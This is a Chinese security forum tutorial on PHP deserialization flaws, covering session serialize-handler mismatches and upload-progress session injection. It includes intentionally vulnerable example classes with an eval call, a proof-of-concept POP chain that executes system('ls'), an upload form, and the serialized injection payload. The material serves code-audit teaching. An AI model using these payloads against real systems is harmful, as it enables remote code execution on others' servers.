# 有趣的php反序列化总结

**URL:** <https://forum.90sec.com/t/topic/344>\
**Category:** 技术文章\
**Created:** [2019 年8 月 27 日 03:39 UTC](https://forum.90sec.com/t/topic/344 "2019-08-27T03:39:37Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![90wiki](https://forum.90sec.com/user_avatar/forum.90sec.com/90wiki/32/1127_2.png) [@90wiki](https://forum.90sec.com/u/90wiki)\
发布日期： [2019 年8 月 27 日 03:39 UTC](https://forum.90sec.com/t/topic/344/1 "2019-08-27T03:39:37Z")

</div>

本文作者：@lynahex  
源地址：[90WiKi](https://forum.90sec.org)  
发表时间： _2016-4-19 10:04:56_

# 0x01 前言

很久以前写过一篇文章讲过php的反序列化，[PHP-Object-Injection](http://lynahex.com/index.php/archives/PHP-Object-Injection.html)。这次尽量对其进行一个较为全面的总结。

如果还有其它的思路，欢迎补充。

# 0x02 漏洞种类

一是将传来的序列化数据直接unserilize，造成魔幻函数的执行。这种情况在一般的应用中依然屡见不鲜。

二是PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患。

> **[升级中](http://drops.wooyun.org/tips/3909?utm_source=tuicool&utm_medium=referral)**

  
ryat牛讲得很明白了。PHP 内置了多种处理器用于存取 $\_SESSION 数据时会对数据进行序列化和反序列化。

| 处理器 | 对应的存储格式 |
| --- | --- |
| php | 键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值 |
| php\_binary | 键名的长度对应的 ASCII 字符 ＋ 键名 ＋ 经过 serialize() 函数反序列处理的值 |
| php\_serialize | |
| (php\>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |

关键点在于，如果脚本中设置的序列化处理器与php.ini设置的不同，或者两个脚本注册session使用的序列化处理器不同，那么就会出现安全问题。

原因是未正确处理'|'，如果以php\_serilize方式存入，比如我们构造出"|"+伪造的序列化值存入，但之后解析又是用的php处理器的话，那么将会反序列化伪造的数据（'|'之前当作键名，'|'之后当作键值）。

（L.N.: php5.6.13版本以前是第一个变量解析错误注销第一个变量，然后解析第二个变量，但是5.6.13以后如果第一个变量错误，直接销毁整个session）

那么我们通过什么方式将数据注入到session中呢？

一方面，开发者本身将用户可控的数据传进了session，比如joomla等；

另一方面，可通过配置不当可造成session被控。当session.upload\_progress.enabled打开时，php会记录上传文件的进度，在上传时会将其信息保存在$\_SESSION中。详情见https://bugs.php.net/bug.php?id=71101

难点在于构造出pop链达到自己想要的结果。跟rop链相同，现在已经有人在研究如何自动化构造出pop链，并取得了一些成效。

**实例**  
// index.php

```php
<?php
 
ini_set('session.serialize_handler', 'php');
 
require("./class.php");
 
session_start();
 
$obj = new foo1();
 
$obj->varr = "phpinfo.php";
 
?>

```

跟phpinfo中显示出的配置文件（php\_serialize）相比，对session序列化处理器是不一样的。

由于session.auto\_start是打开的，所以它会先以php\_serilize序列化方式存入，但在读取时却是以php序列化的方式，我们可以注入'|'，来使得后面任意伪造的序列化字符串，以此来利用反序列化漏洞。

```php
<?php
 
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source( __FILE__ );
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
 
?>

```

写的很清晰，比起joomla的远程代码执行漏洞不知简单多少。

一环扣一环，foo3的execute函数中存在eval危险函数，foo2又调用了execute，foo1又有echo使得foo2的魔幻函数得以执行。如下poc：

```php

<?php
class foo3{
        public $varr;
        function __construct(){
                $this->varr = 'system(\'ls\');';
        }
}
 
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1';
                $this->obj = new foo3();
        }
}
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}
 
echo serialize(new foo1());
?>

```

但关键的问题来了，用户的输入点在哪，怎样触发。仔细查看给出的phpinfo配置文件，发现了session.upload\_progress.enabled打开，并且session.upload\_progress.cleanup关闭。这就极大提高了漏洞的利用成功率。如果此选项session.upload\_progress.cleanup打开，那么在利用时攻击者需要上传large and crash文件，来使得我们传入的data得以执行。

于是后面的操作为写一表单：

```
<form action="upload.php" method="POST" enctype="multipart/form-data">        
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />        
<input type="file" name="file" />        
<input type="submit" />
</form>

```

抓包将ryat后增加

```
| O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system('ls');";}}}

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/2/2a78849d4fad08fa0ebffd5f68e6888e0b29a204.png)
# 0x03 其它

还有种情况就是单纯地伪造数据，不利用魔幻函数，而是利用之后对序列化数据的处理来达到恶意效果。比如0ctf的唯一代码审计题。

懒得去找源码，就凭印象简单说下思路，里面有三个考点：

- 用数组绕过正则；
- 可控一部分反序列化数据，导致后面执行的指定文件读取变为了任意文件读取；
- 由于可控部分还需考虑后面的单位，相当于伪造两个值，但之前的计算长度会增大。所以跟踪控制流，发现可巧妙利用过滤函数来增加长度。

我们这里只重点说第二部分，对于可控的一些反序列化数据能干嘛？

除了根据反序列化的性质外，更通用的是观察后面对此数据的敏感操作，如果有文件读取，删除等敏感操作，那么我们可以伪造从而达到任意操纵文件的效果。可也会出现上面的情况，长度已定，后面还需不需要伪造数据，如果要，则跟踪控制流能否来解决长度等问题。当然，对于json或其它的存取格式也是这个道理，而不是仅仅局限于反序列化的特性了。

反序列化的基本知识就这么多，如果还有猥琐好玩的利用，也欢迎大家分享出来。

# 0x04 结语

在实际代码审计中，这类漏洞是较为常见的。但是利用起来往往比较复杂。一是要跟踪到达漏洞点去，提供满足前期必要条件；二是将包含的类如何进行有效利用。而一些大型的利用，pop链往往能达到5个以上，国外的不少应用早些年也爆出了危害相当高的漏洞，但在国内一直是不温不火的。
